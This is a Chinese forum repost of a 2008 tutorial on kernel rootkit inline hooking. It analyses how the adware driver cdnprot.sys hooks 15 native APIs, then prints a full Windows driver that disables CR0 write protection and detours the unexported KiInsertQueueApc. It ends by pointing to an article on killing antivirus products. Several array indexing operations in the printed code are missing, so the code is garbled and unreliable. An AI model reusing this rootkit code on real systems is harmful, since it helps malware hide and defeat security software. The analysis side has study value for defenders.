找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 256|回复: 0

Rootkit hook之[三] Inline Hook

[复制链接]

1793

主题

457

回帖

0

积分

管理员

积分
0
发表于 2013-6-19 18:27:46 | 显示全部楼层 |阅读模式
[bgcolor=#ffffff]标 题:[/bgcolor][bgcolor=#ffffff] 【原创】rootkit hook之[三] inline hook[/bgcolor][bgcolor=#ffffff]作 者: combojiang[/bgcolor]
[bgcolor=#ffffff]时 间:[/bgcolor][bgcolor=#ffffff] 2008-01-30,17:27:57[/bgcolor]
[bgcolor=#ffffff]链 接:[/bgcolor][bgcolor=#ffffff] [/bgcolor]http://bbs.pediy.com/showthread.php?t=59127

[bgcolor=#ffffff]最近为了写好rootkit inline hook篇,特意A了著名的流氓软件(cdnprot.sys),这个文件很庞大,有152k之多, 花费了我好几个晚上的时间,让我少看好多集的电视剧《闯关东》,在这个软件里面用了很多好的技术,不管怎么说,技术本身是无辜的,由于我们今天谈论的主题是Inline hook,因此今天只是带领大家看看他是怎样使用inline hook这项技术的。今天是一年一度的小年,发表此篇,作为对大家的小年献礼吧,顺祝大家小年好。[/bgcolor]

[bgcolor=#ffffff]关于什么是inline hook.,这些基本概念,我们就不在这里说了,大家可以google下。[/bgcolor]
[bgcolor=#ffffff]对于ring3下的inline hook使用起来非常的方便,也非常简单。但是到了ring0,inline hook就麻烦些,搞不好就出现了bsod.[/bgcolor]:[bgcolor=#ffffff]  ,我们今天讲的是内核中的inline hook。这个技术,在这个流氓软件中应用的比较稳定。我们就来看看它是怎么用的。[/bgcolor]

[bgcolor=#ffffff]先谈谈思路:[/bgcolor]

[bgcolor=#ffffff]1.  Hook之前的准备工作之一。[/bgcolor]
[bgcolor=#ffffff]在这个软件中,总共hook了15个native api 函数。他们分别是:[/bgcolor]
[bgcolor=#ffffff]ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,[/bgcolor]
[bgcolor=#ffffff]ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.[/bgcolor]

[bgcolor=#ffffff]这15个函数中,包括2个未公开的函数,ZwCreateThread, ZwTerminateThread,这两个函数,需要我们从ntdll.dll的导出表中找到。另外,所有的native api函数的最终实现都是在ntoskrnl模块中,所以,我们使用ZwQuerySystemInformation的0B号功能,找出ntoskrnl模块的内存加载区间,然后逐个判断ssdt表中这些要hook的函数地址,是否在这个区间内。确保我们是第一个吃螃蟹的人。呵呵。[/bgcolor]

[bgcolor=#ffffff]2.  Hook之前准备工作之二:[/bgcolor]
[bgcolor=#ffffff]1)一个全局函数表 ,保存这15个要hook的函数的原始地址。[/bgcolor]
[bgcolor=#ffffff]这个表起始地址位于:.data:00036860 ,终止于:data:0003689C 共60字节[/bgcolor]
[bgcolor=#ffffff]2)一个hook 的函数地址表,分别对应于要hook的15个函数的跳转。[/bgcolor]
[bgcolor=#ffffff]这个表起始地址位于:.data:00034E98[/bgcolor]
[bgcolor=#ffffff].data:00034E98 off_34E98        dd offset sub_1EEA8    [/bgcolor]
[bgcolor=#ffffff].data:00034E9C                 dd offset sub_1EE82[/bgcolor]
[bgcolor=#ffffff].data:00034EA0                 dd offset sub_1EF82[/bgcolor]
[bgcolor=#ffffff].data:00034EA4                 dd offset sub_1EF4A[/bgcolor]
[bgcolor=#ffffff].data:00034EA8                 dd offset sub_1EF6D[/bgcolor]
[bgcolor=#ffffff].data:00034EAC                 dd offset sub_1EEC1[/bgcolor]
[bgcolor=#ffffff].data:00034EB0                 dd offset sub_1EED2[/bgcolor]
[bgcolor=#ffffff].data:00034EB4                 dd offset sub_1EEF5[/bgcolor]
[bgcolor=#ffffff].data:00034EB8                 dd offset sub_1EF31[/bgcolor]
[bgcolor=#ffffff].data:00034EBC                 dd offset sub_1EF18[/bgcolor]
[bgcolor=#ffffff].data:00034EC0                 dd offset sub_1EF93[/bgcolor]
[bgcolor=#ffffff].data:00034EC4                 dd offset sub_1EFA8[/bgcolor]
[bgcolor=#ffffff].data:00034EC8                 dd offset sub_1EFBD[/bgcolor]
[bgcolor=#ffffff].data:00034ECC                 dd offset sub_1EFE6[/bgcolor]
[bgcolor=#ffffff].data:00034ED0                 dd offset sub_1EFFF[/bgcolor]

[bgcolor=#ffffff]这15个函数,都是在cdnprot.sys中实现的。[/bgcolor]

[bgcolor=#ffffff]3)一个用于保存函数开头字节的二维数组数据区,数组形式是 array[15][30];[/bgcolor]
[bgcolor=#ffffff]  15个函数,每个函数有30个字节可用。 这30个字节中,首先保存原hook函数开头字节,然后写入0xe9 ,再写入数组当前位置跟原hook函数地址偏移我们已复制出的字节码后的位置之间的相对偏移值。(具体我们要保存原hook函数开头多少字节,代码中有一个算法。)[/bgcolor]
[bgcolor=#ffffff]  这个数组的作用是,当我们hook了函数后,执行完我们的hook函数之后,然后,需要恢复执行原api函数,由于原api函数开头5字节已经被改写,由于函数原开头字节已经保存到相应的数组里,因此这里的作法是,执行这个数组中的机器码,数组机器码执行到最后,会跳转到原hook函数某个偏移位置,继续执行。[/bgcolor]

[bgcolor=#ffffff]3.  Inline hook[/bgcolor]
[bgcolor=#ffffff]1)  IoAllocateMdl ,分配一个mdl,将要hook的函数映射进去。[/bgcolor]
[bgcolor=#ffffff]2)  MmProbeAndLockPages,锁定页面[/bgcolor]
[bgcolor=#ffffff]3)  去掉写保护[/bgcolor]
[bgcolor=#ffffff]4)  保存函数开头机器码到对应的二维数组区,改写开头5个字节,让他跳转到起始地址位于.data:00034E98的跳转表中的对应跳转函数。[/bgcolor]
[bgcolor=#ffffff]5)  恢复写保护[/bgcolor]
[bgcolor=#ffffff]6)  MmUnlockPages[/bgcolor]
[bgcolor=#ffffff]7)  IoFreeMdl[/bgcolor]


[bgcolor=#ffffff]4.  Inline hook后的恢复工作[/bgcolor]
[bgcolor=#ffffff]正如2步骤3)中描述的那样。[/bgcolor]

[bgcolor=#ffffff]代码太多,不在这里贴出了。[/bgcolor]
[bgcolor=#ffffff]Inline hook对应的函数是sub_1F30D,这个函数很庞大。嵌套了n多层。我把逆向的源文件和.idb文件附上。有兴致的可以使用ida5.2看看。[/bgcolor]

[bgcolor=#ffffff]附上一个例子吧:[/bgcolor]
[bgcolor=#ffffff]这个例子是hook了KiInsertQueueApc,由于KiInsertQueueApc没有导出,需要在KeInsertQueueApc中找出来。[/bgcolor]
复制代码
  • #include <ntddk.h>
  • #include <ntifs.h>
  • ULONG g_KiInsertQueueApc;
  • char g_oricode[8];
  • ULONG g_uCr0;
  • char *non_paged_memory;

  • void WPOFF()
  • {

  • ULONG uAttr;

  • _asm
  • {
  • push eax;
  • mov eax, cr0;
  • mov uAttr, eax;
  • and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
  • mov cr0, eax;
  • pop eax;
  • cli
  • };

  • g_uCr0 = uAttr; //保存原有的 CRO ?性

  • }

  • VOID WPON()
  • {

  • _asm
  • {
  • sti
  • push eax;
  • mov eax, g_uCr0; //恢?原有 CR0 ?性
  • mov cr0, eax;
  • pop eax;
  • };

  • }

  • __declspec(naked) my_function_detour_KiInsertQueueApc()
  • {
  • __asm
  • {
  • mov edi,edi
  • push ebp
  • mov ebp, esp
  • push ecx
  • mov eax,ecx
  • _emit 0xEA
  • _emit 0xAA
  • _emit 0xAA
  • _emit 0xAA
  • _emit 0xAA
  • _emit 0x08
  • _emit 0x00
  • }
  • }

  • ULONG GetFunctionAddr( IN PCWSTR FunctionName)
  • {
  • UNICODE_STRING UniCodeFunctionName;
  • RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
  • return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );

  • }

  • //根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc
  • ULONG FindKiInsertQueueApcAddress()
  • {
  • char * Addr_KeInsertQueueApc = 0;
  • int i = 0;
  • char Findcode[] = { 0xE8, 0xcc, 0x29, 0x00, 0x00 };
  • ULONG Addr_KiInsertQueueApc = 0;
  • Addr_KeInsertQueueApc = (char *) GetFunctionAddr(L"KeInsertQueueApc");
  • for(i = 0; i < 100; i ++)
  • {
  • if( Addr_KeInsertQueueApc == Findcode[0] &&
  • Addr_KeInsertQueueApc[i + 1] == Findcode[1] &&
  • Addr_KeInsertQueueApc[i + 2] == Findcode[2] &&
  • Addr_KeInsertQueueApc[i + 3] == Findcode[3] &&
  • Addr_KeInsertQueueApc[i + 4] == Findcode[4]
  • )
  • {
  • Addr_KiInsertQueueApc = (ULONG)&Addr_KeInsertQueueApc + 0x29cc + 5;
  • break;
  • }
  • }
  • return Addr_KiInsertQueueApc;
  • }

  • VOID DetourFunctionKiInsertQueueApc()
  • {

  • char *actual_function = (char *)g_KiInsertQueueApc;
  • unsigned long detour_address;
  • unsigned long reentry_address;
  • KIRQL oldIrql;
  • int i = 0;

  • char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };

  • reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;

  • non_paged_memory = ExAllocatePool(NonPagedPool, 256);

  • for(i=0;i<256;i++)
  • {
  • ((unsigned char *)non_paged_memory) = ((unsigned char *)my_function_detour_KiInsertQueueApc);
  • }

  • detour_address = (unsigned long)non_paged_memory;

  • *( (unsigned long *)(&newcode[1]) ) = detour_address;

  • for(i=0;i<200;i++)
  • {
  • if( (0xAA == ((unsigned char *)non_paged_memory)) &&
  • (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
  • (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
  • (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
  • {
  • *( (unsigned long *)(&non_paged_memory) ) = reentry_address;
  • break;
  • }
  • }


  • oldIrql = KeRaiseIrqlToDpcLevel();
  • for(i=0;i < 8;i++)
  • {
  • g_oricode = actual_function;
  • actual_function = newcode;
  • }
  • KeLowerIrql(oldIrql);
  • }

  • VOID UnDetourFunction()
  • {
  • char *actual_function = (char *)g_KiInsertQueueApc;
  • KIRQL oldIrql;
  • int i = 0;

  • WPOFF();
  • oldIrql = KeRaiseIrqlToDpcLevel();

  • for(i=0;i < 8;i++)
  • {
  • actual_function = g_oricode;
  • }
  • KeLowerIrql(oldIrql);
  • WPON();
  • ExFreePool(non_paged_memory);
  • }

  • VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
  • {
  • DbgPrint("My Driver Unloaded!");
  • UnDetourFunction();
  • }

  • NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
  • {
  • DbgPrint("My Driver Loaded!");
  • theDriverObject->DriverUnload = OnUnload;

  • g_KiInsertQueueApc = FindKiInsertQueueApcAddress();
  • DetourFunctionKiInsertQueueApc();

  • return STATUS_SUCCESS;
  • }



[bgcolor=#ffffff]补充: 实际应用文章,可以参考sudami的[/bgcolor]干掉KV 2008, Rising等大部分杀软[bgcolor=#ffffff] [/bgcolor]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

果子博客
扫码关注微信公众号

Archiver|手机版|小黑屋|风叶林

GMT+8, 2026-2-1 16:58 , Processed in 0.101295 second(s), 20 queries .

Powered by 风叶林

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表